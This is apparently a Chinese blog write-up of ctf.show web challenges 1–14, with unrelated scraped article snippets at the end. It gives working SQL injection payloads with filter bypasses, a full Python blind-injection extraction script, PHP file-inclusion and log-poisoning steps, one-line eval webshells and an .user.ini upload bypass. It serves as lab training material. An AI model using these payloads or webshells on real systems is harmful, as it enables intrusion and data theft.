ctf.show_web(1-14)wp

2023-11-05

目录

web(1)

web(2)

web(3) 

 web(4)

web(5)

web(6) 

web(7)

 web(8)

 web(9)

 web(10)

 web(11)

 web(12)

web(13) 

 web(14)


web(1)

f12查看源码得到一串base64编码

 解码:Base64 在线编码解码 | Base64 加密解密 - Base64.us

 

web(2)

 首先使用弱口令

admin

123456

不行,再使用bp爆破

不行,最后是SQL注入

在用户名输入:

'or 1=1 unioin select 1,flag,3 from flag#

web(3) 

看到include为文件包含 

# php

include()  // 执行到include时才包含文件,找不到文件产生警告,脚本继续执行
require()  // 程序运行就包含文件,找不到文件产生错误,脚本停止

include_once()
require_once()
// 和前面注解一样,_once()后缀表明只会包含一次,已包含则不会再包含

具体关于文件包含的内容参考:

(1条消息) CTF之web学习记录 -- 文件包含_文件包含ctf___lifanxin的博客-CSDN博客

文件包含获取一个url

一般文件包含可先使用php伪协议来解

bp抓包

 先在url上衔接php伪代码

?url=php://input   

再post下面写上payload   


<?php system('ls')?>    

得到根目录下的一个文件

使url=ctf_go_go_go

 web(4)

使用上一题的方法发现不行

下面就是远程文件包含漏洞的问题了 

 先尝试一下查看文件

http://798869c3-c4b0-4591-ba7b-828a6c321634.challenge.ctf.show/?url=/etc/passwd

 可以返回

再尝试返回日志也是成功的

在bp上向header写入shell再用蚁剑去连接日志目录

一句话木马:   

<?php @eval($_POST['attack']);?>

  

一句话插进去后放行再到网页上复制url地址

  

点进去在www的目录下发现flag 

 总结:文件包含首要使用php伪协议直接目录查看

             其次再使用一句话shell连接目录查看

web(5)

 先分析代码

get两个参数v1,v2

先了解php的函数

 

 最后是md5比较

这里的代码的意思是要v1是字母,v2是纯数字

然后比较md5的值,要知道md5是独一无二的

这里考察的应该是md5的绕过

md5绕过分为强(===)比较和弱(==)比较

弱比较是比较两个值但不比较两个值的类型

绕过原理

md5中如果两个字符经md5加密后的值为 0exxxxx形式,是会被认为是科学计数法,而且表示的是0*10的xxxx次方还是零,所以都是相等的。

所以PHP在处理哈希字符串的时候,它把每一个以0e开头并且后面字符均为纯数字的哈希值都解析为0。

  • QNKCDZO
  • 240610708
  • s878926199a
  • s155964671a

 强比较即比数值也比类型

这时候就要用到php的md5函数处理数组的时候会都处理成NULL来实现绕过

这里使用弱比较方法

/?v1=QNKCDZO&v2=240610708

web(6) 

 弱口令不行,跳过爆破

直接sql注入

万能语句

' or '1'='1'#

说明有符号被过滤了

试着用/**/绕过空格

'/**/or/**/'1'='1'# 

明确是空过绕过后直接跟第二题一样 

'/**/or/**/'1'='1'union/**/select/**/1,flag,3/**/from/**/flag# 

web(7)

 点击三个按钮,url上出现id=1和id=2,id=3判断可能存在驻点

?id=1 and 1=1

 语句被过滤猜测是空格

?id=1/**/and/**/1=1

返回正常,说明存在驻点

判断位数 

?id=1/**/and/**/1=1/**/order/**/by/**/3

正常但是到

?id=1/**/and/**/1=1/**/order/**/by/**/4

 返回异常说明位数是3,接下来开始爆库名

?id=1/**/and/**/1=2/**/union/**/select/**/1,database(),3

这里1=2只是为了界面返回的更简洁一点1=1也是可以的 

 发现库名为web7,接下来爆表名

id=1/**/and/**/1=2/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()

  得到表名中有flag,直接读取flag

id=1/**/and/**/1=2/**/union/**/select/**/1,flag,3/**/from/**/web7.flag

 web(8)

与上一题一样的界面,先正常操作看看是那一步有变化

 输入/?id=1' or '1'='1'#正常报错,有符号被过滤

再多次尝试空格绕过后发现过滤掉的不止是空格

下面就要用脚本或者工具来检测一下fuzz了

先说脚本

import requests
import os
sql_char = ['select',
			'union',
			'and',
			'or',
			'sleep',
			'where',
			'from',
			'limit',
			'group',
			'by',
			'like',
			'prepare',
			'as',
			'if',
			'char',
			'ascii',
			'mid',
			'left',
			'right',
			'substring',
			'handler',
			'updatexml',
			'extractvalue',
			'benchmark',
			'insert',
			'update',
			'all',
			'@',
			'#',
			'^',
			'&',
			'*',
			'\'',
			'"',
			'~',
			'`',
			'(',
			')',
			'--',
			'=',
			'/',
			'\\',
			' ']#基本字典
with open("D:/Desktop/过滤字典.txt", encoding='utf-8') as file_obj:#自定义字典
    contents = file_obj.readlines()
url = "http://544f1f76-83f8-4501-a5d0-b81c1ee79a89.challenge.ctf.show/"
header = {
    'Host':'544f1f76-83f8-4501-a5d0-b81c1ee79a89.challenge.ctf.show',
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding':'gzip, deflate',
    'Content-Type':'application/x-www-form-urlencoded'
}
for char in contents:
	char = char.strip()
	payload = "?id=1"+char
	res = requests.get(url=url+payload,headers=header)
	if 'sql inject error' in res.text:#返回条件
		a=1
		print("该字符是非法字符: {0}".format(char))
	#这里只看被过滤的
	# else:
	# 	a=1
	# 	print("通过: {0}".format(char))

得到被过滤的字符 

下面是使用BP来查找fuzz

位置放在id=后,选择fuzz字典然后开始攻击

字典下载

131A3D7/web-sercuity-sql-dictionary: sql注入的fuzz字典 (github.com)

更多字典可以到github上查找

 过滤了很多的语法

union没有了这个基本上就考虑盲注了

and被过滤就用or来代替

and与or语法:

a and b   如果a为真则继续读取a,如果a为假则直接停止读取并返回假 

a or b      如果a为真停止读取并返回真,如果a为假继续读取b

这样用id=-1/**/or/**/就可以代替and了

逗号被过滤就用substr()这个函数中的一个用法来绕过

然后通过or后面的盲注一步一步判断真假来判断数据库长度,数据库名,表名,字段

?id=-1/**/or/**/length(database())=

对于较短的可以手动一个一个试出来,  这里利用py脚本来推测数据库长度:

def find_number():
    for shu in range(1,10):
        payload = "?id=-1/**/or/**/length(database())={}".format(shu)
        res = requests.get(url=url + payload)
        if ("Kipling" in res.text):
            print("数据库长度为:",shu)

爆数据库名

def find_database():
    name = ""
    for i in range(1,5):
        for j in range(48,128):
            payload = "?id=-1/**/or/**/ascii(substr(database()/**/from/**/{}/**/for/**/1))={}".format(i,j)
            res = requests.get(url=url + payload)
            if ("If" in res.text):
                name += chr(j)
                print('第{}个字符:'.format(i),chr(j))
    print("数据库名:",name)

这里是利用ascii转字母为数进行比较 

得到数据库名为web8,接下来爆表名

def find_table():
    name=""
    for i in range(1,45):
        for j in range(32,128):
            payload="?id=-1/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/{}/**/for/**/1))={}".format(i,j)
            res = requests.get(url=url + payload)
            if("Kipling" in res.text):
                name+=chr(j)
                print("第{}个字符为:".format(i),name)
    print("表名为:",name)

得到三个表名,爆flag的字段

def find_column():
    name=""
    for i in range(1,45):
        for j in range(32,128):
            payload = "?id=-1/**/or/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/{}/**/for/**/1))={}".format(i,j)
            res = requests.get(url=url + payload)
            if ("Kipling" in res.text):
                name += chr(j)
                print("第{}个字符为:".format(i),name)
    print("字段为:", name)

因为flag字样被过滤掉了,使用这里的 table_name=后是flag的十六进制ox666c6167

  

最后爆flag

def find_column():
    name=""
    for i in range(1,45):
        for j in range(32,128):
            payload = "?id=-1/**/or/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/{}/**/for/**/1))={}".format(i,j)
            res = requests.get(url=url + payload)
            if ("Kipling" in res.text):
                name += chr(j)
                print("第{}个字符为:".format(i),name)
    print("字段为:", name)

得到flag

ctfshow{3691034b-37f7-446f-a06d-87f5f3ea601e}

完整脚本:

import requests
import string
import binascii

url="http://ef5561c8-e404-43af-8a71-15b3999c93b0.challenge.ctf.show/"

header = {
    'Host':'da41ba10-3ba9-4cfb-9326-e6f5276e4315.challenge.ctf.show',
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding':'gzip, deflate',
    'Content-Type':'application/x-www-form-urlencoded'
}#本题不需要
def find_number():
    for shu in range(1,10):
        payload = "?id=-1/**/or/**/length(database())={}".format(shu)
        res = requests.get(url=url + payload)
        if ("Kipling" in res.text):
            print("数据库长度为:",shu)

def find_database():
    name = ""
    for i in range(1,5):
        for j in range(48,128):
            payload = "?id=-1/**/or/**/ascii(substr(database()/**/from/**/{}/**/for/**/1))={}".format(i,j)
            res = requests.get(url=url + payload)
            if ("If" in res.text):
                name += chr(j)
                print('第{}个字符:'.format(i),chr(j))
    print("数据库名:",name)

def find_table():
    name=""
    for i in range(1,45):
        for j in range(32,128):
            payload="?id=-1/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/{}/**/for/**/1))={}".format(i,j)
            res = requests.get(url=url + payload)
            if("Kipling" in res.text):
                name+=chr(j)
                print("第{}个字符为:".format(i),name)
    print("表名为:",name)

def find_column():
    name=""
    for i in range(1,45):
        for j in range(32,128):
            payload = "?id=-1/**/or/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/{}/**/for/**/1))={}".format(i,j)
            res = requests.get(url=url + payload)
            if ("Kipling" in res.text):
                name += chr(j)
                print("第{}个字符为:".format(i),name)
    print("字段为:", name)

def find_name():
    name=""
    for i in range(1,45):
        for j in range(32,128):
            payload = "?id=-1/**/or/**/ascii(substr((select/**/flag/**/from/**/flag)from/**/{}/**/for/**/1))={}".format(i,j)
            res = requests.get(url=url + payload)
            if ("Kipling" in res.text):
                name += chr(j)
                print("第{}个字符为:".format(i),name)
    print("flag:", name)

find_name()

 web(9)

 首先是想着注入,但发现无论怎么注入都是没有反应,后面也用过爆破的方法但有些口令输入不返回password error这明显是不能爆破的,后面看提示是要先对端口进行扫描

用御剑扫描(很慢)

访问robots

 访问index.phps得到

mysqli_num_rows()函数是用来判断是否有返回值的

md5() 这个函数是重点

 大概意思就是把输入的password进行md5编码后再进行了一次二进制格式的编码使成为的字符串

select * from user where username ='admin' and password ='".md5($password,true)."'"

这里看出注入点就是md5()这里,目的就是要让输入的内容经过编码后成为payload

再看mysqli_query() 这个函数:

这里分析 当输入的password判断为真的时候才会返回flag,哪从上题只能用一个or,只要or后面是非零数字(true)不管前面是什么整个语句就是true,所以使用

'or'1

 单引号是为了闭合前后的单引号

这样目的就很清楚了,只要找到一个在经过md5和二进制编码后得到含有'or'1的字符串就行了

更加具体可查找含有'or'1的md5值,原理可以参考:

(2条消息) sql注入:md5($password,true)_md5($password)_March97的博客-CSDN博客

 里面说了要查找到合适的字符串需要大量的计算,所以只能是用现已知的两个:

ffifdyop(常用)

 129581926211651571912466741651878684928(这个在本道题不能用,有知道为什么的师傅吗?)

 输入进去

 web(10)

 多了一个取消键,点击一下得到源码

 其中

$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";

 空格也被过滤掉了,可以使用/**/来代替空格

if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
			die("sql inject error");
		}

过滤了部分的关键词

$sql="select * from user where username = '$username'";

这个地方可以写语句注入

if($password==$row['password'])

难点在这里,对输入的password与数据库中的每一行进行比对

首先想到的是写语句爆除password但过滤的关键词难以实现

另一个办法在password的表中在写多一个已知password,但奈何我能力有限找不到写入数据库的语句,最后也是参考了别人得到wp得知可以使用with rollup这个语句的特性

with rollup关键字会在所有记录的最后加上一条记录且为NULL,该记录是上面所有记录的总和

 这样当枚举到这一列的时候password为NULL空的与输入空密码就是能匹配得上返回flag

payload='/**/or/**/1/**/group/**/by/**/password/**/with/**/rollup#

 group by函数:对进行查询的结果进行分类。group by函数后面跟什么就按什么分类


 web(11)

 直接给源码其中

if($password==$_SESSION['password'])

如果变量 $password 的值等于当前会话中存储的 $_SESSION['password'] 的值就会返回flag

关于session的了解可以参考这位师傅的博客

(1条消息) php-session反序列化_php session反序列化_葫芦娃42的博客-CSDN博客

在浏览器中,HTTP请求一个页面时,其中后端php执行session_start()会打开一个会话,此时会寻找COOKIE中的PHPSESSID 是否为空,若不为空session_id()就是这个值,若为空则随机生成一个32位session_id存入PHPSESSID中

但储存的值是被序列化后的不知道是什么,看提示是抓包

 找到了cookie,把该id修改为空,输入password为空发送就返回flag

 web(12)

查看源码

 提示是文件执行漏洞的利用

所以本题是可以直接使用文件执行来找出flag的

glob() 函数返回一个包含匹配指定模式的文件名或目录的数组。

该函数返回一个包含有匹配文件/目录的数组。如果失败则返回 FALSE。

print_r() — 打印关于变量的易于理解的信息。

 所以使用:

?cmd=print_r(glob("*"));

返回两个数组,查看第一个 用highlight_file()函数,其作用:

 对文件进行 PHP 语法高亮显示,语法通过使用 HTML 标签进行高亮。

 所以写入:

?cmd=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");

参考博客:(1条消息) CTF show WEB12_ctf.show_web12_yu22x的博客-CSDN博客 

web(13) 

 文件上传

写一句话木马

<?php @eval($_POST['a']);?>

 文件大小错误,大小出问题了应该有相关的标准

发现提交后url上出现了index.php使用index.php.bak查看备份

有时候web会常出现文件备份泄露的情况

.hg查看源码泄漏
.git查看源码泄漏
.DS_Store文件泄漏
.phps .bak结尾的网页

 

得到源码后分析是要内容小于等于24,文件名字小于9,尾缀小于等于3且不是php的文件

 满足条件的木马,但是由于后缀是txt服务器无法解析该php语句

<?php eval($_POST['a']);

 这里学到一个巧妙的绕过方法----利用.user.ini包含php文件绕过

使用.user.ini可以让所有php自动包含某个文件,这个文件可以是包括正常的php的任何文件

1.先将上面写的装有一句话木马的txt文件上传(这里假设文件为1.txt)

2.再创一个user.ini类型里面先写入auto_prepend_file =1.txt并上传

3.使用蚁剑测试是否连接成功

 再以post方式传:

g=print_r(glob("*"));

查看第一个文件

再输入 :

g=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php"); 

 

本题主要是使用user.ini来绕过php过滤上传 

 web(14)

当c=3时返回:

 进入发现注点

 if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
        die('@A@');

 发现过滤了这些和空格但没有过滤select

爆数据库:

?query=-1/**/union/**/select/**/database()

 到爆表名,因为过滤了information_schema使用可以使用反引号来绕过或者使用innodb_table_stats来代替具体可以参考这篇博客:

(1条消息) Mysql元数据获取方法(information_schema绕过方法)_mysql获取表的元数据_Thunderclap_的博客-CSDN博客

 ?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()

 ?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name="content"

 直接爆值

 ?query=-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/web.content

 

 发现没有flag但说了secret中有secret,所以直接用load_file()函数

使用方法:   load_file(文件路径)

 所得payload为:

?query=-1/**/union/**/select/**/load_file("/var/www/html/secret.php")

 f12可看到

 最后直接读取real_flag_is_here这个文件

?query=-1/**/union/**/select/**/load_file("/real_flag_is_here")
 

参考博客:

(1条消息) CTFshow web14_Je3Z的博客-CSDN博客

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

ctf.show_web(1-14)wp 的相关文章

随机推荐

  • 代数结构在计算机科学中的应用,代数系统在计算机科学中的应用(new).ppt

    代数系统在计算机科学中的应用 new ppt 人们研究和考察现实世界中各种现象或过程 往往要借助某些数学工具 在代数中 可以用正整数集合上的加法运算来描述企业产品的累计数 可以用集合之间的 并 交 运算来描述单位与单位之间的关系等 我们所接
  • 【Obsidian】微信使用 Remotely Save S3 兼容 发送到 Obsidian

    注意 新项目已发布 Obsidian 从本地到云端 obcsapi v3 0 下面文章属于 1 0 版本 新项目是 3 0 版本 请读者根据自身实际情况酌情选择 微信使用 Remotely Save S3 兼容 发送到 Obsidian 原
  • 92---在字符串中找出连续最长的数字串

    描述 输入一个字符串 返回其最长的数字子串 以及其长度 若有多个最长的数字子串 则将它们全部输出 按原字符串的相对位置 本题含有多组样例输入 数据范围 字符串长度 1 n 200 1 le n le 200
  • Unity Editor扩展 GraphView

    GraphView介绍 GraphView是Unity推出的一个基于UIElement的节点编辑器UI模块 功能很完全 有多选 拖动 缩放 Group等功能 GraphView的基本使用 一 图形视图由四个主要元素组成 GraphView
  • PAT乙级1054 求平均值///sscanf()和sprintf()函数运用

    本题的基本要求非常简单 给定 N 个实数 计算它们的平均值 但复杂的是有些输入数据可能是非法的 一个 合法 的输入是 1000 1000 区间内的实数 并且最多精确到小数点后 2 位 当你计算平均值的时候 不能把那些非法的数据算在内 输入格
  • R语言学习(九)动态制图——gganimater包

    gganimater包和之前的3d包一样 是对ggplot2包的扩展 主要是描绘图表的动态变化 GitHub 链接https github com thomasp85 gganimate 安装 install packages devtoo
  • 个人信息提取(字符串)

    Python 官网 https www python org 这里 才 python 前沿 可惜是英文原版 所以 我要练习英文阅读 我的CSDN主页 My Python 学习个人备忘录 我的HOT博 老齐教室 自学并不是什么神秘的东西 一个
  • ZigBee传感数据采集实验

    一 实验目的与要求 1 学习通过DHT11采集温度和湿度数据 2 掌握CC2530接收和发送串口数据 3 学习使用ZStack库 二 实验原理与内容 1 DHT11电路图 2 基本控制原理 2 1 CC2530 的 IO 口配置我们需要配置
  • AnolisOS 外传二: 在oracle 云安装并使用anolis系统

    前言 Oracle 云支持自制映像 custom images 这就给了我们很大的想象空间 本文假设您已经完成了oracle 云的账户注册工作 一 下载anolis 镜像并制作镜像 1 anolis 官网下载 anck核心 云核心 qcow
  • elasticsearch 基本语法(常见的RESTFUL API)

    一 ES的基本语法 文章目录 一 ES的基本语法 1 Query String 语法 2 Query DSL 语法 3 Full text queries 全文检索 4 Phrase search 短语搜索 5 Query and filt
  • 使用MathJax在HTML中显示LaTeX

    使用MathJax在HTML中渲染LaTex数学公式 只需加入 若需要显示行内公式 则需加入
  • JS实现冒泡排序

    一 概念 冒泡排序 Bubble Sort 是一种计算机科学领域的较简单的排序算法 它重复地走访过要排序的元素列 依次比较两个相邻的元素 如果顺序 如从大到小 首字母从Z到A 错误就把他们交换过来 走访元素的工作是重复地进行 直到没有相邻元
  • 模板特例化与偏特化

    模板是C 中一个很重要的特性 写一份代码能用于多种数据类型 包括用户自定义类型 例如 STL的sort 函数可以用于多种数据类型的排序 类stack可以用作多种数据类型的栈 但是 如果我们想对特定的数据类型执行不同的代码 而不是通用模板 呢
  • 【PyTorch学习笔记】一、两个全连接层的感知机实现(损失函数及优化器的使用)

    demo1 import torch from torch import nn 全连接类 class Linear nn Module def init self in dim out dim super Linear self init
  • pyqt5 QCheckBox使用setChecked(False)后再次用鼠标选中时无法触发信号函数的解决办法

    项目需要一个复选框QCheckBox来做某种选择 但是会有选中了但是不符合条件的情况 这种情况下需要把复选框的状态置为不选中 我的做法是在下面这个信号链接的函数中判断 if self checkBox isChecked 为真且不符合条件的
  • mysql create table select from_mysql create table select复制表结构和数据实例讲解

    比如现在有一张表 我们要将该表复制一份 以备以后使用 那么如何使用mysql语句来实现呢 其实我们可以直接使用create select from语句来实现 具体实现方法请看下面实例 我们先来创建一张Topic表 创建Topic表的SQL语
  • angular4 入门

    笔记来源于慕课网视频https coding imooc com class chapter 94 html Anchor 老师 JoJozhai 纳斯达克上市公司技术总监 创业公司CTO在angular4 中 较少组件之间的耦合 提升组件
  • Mac开机后键盘和触控板失灵

    http www jianshu com p 51d6142b564a 今天上班正敲着代码电脑突然触摸板不管用了 没办法 我用快捷键 Shift Ctrl Option 开关机键 强制关机后 再开机后 鼠标在屏幕左上角 动触摸板不管用 屏幕
  • Android Studio Kotlin环境搭建

    1 安装Kotlin插件 File gt Settings gt Plugins Kotlin 搜索并安装重启AS 2 创建一个项目 3 将Java代码转换为Kotlin 打开MainActivity 按快捷健Shift Cril A输入
  • ctf.show_web(1-14)wp

    目录 web 1 web 2 web 3 web 4 web 5 web 6 web 7 web 8 web 9 web 10 web 11 web 12 web 13 web 14 web 1 f12查看源码得到一串base64编码 解码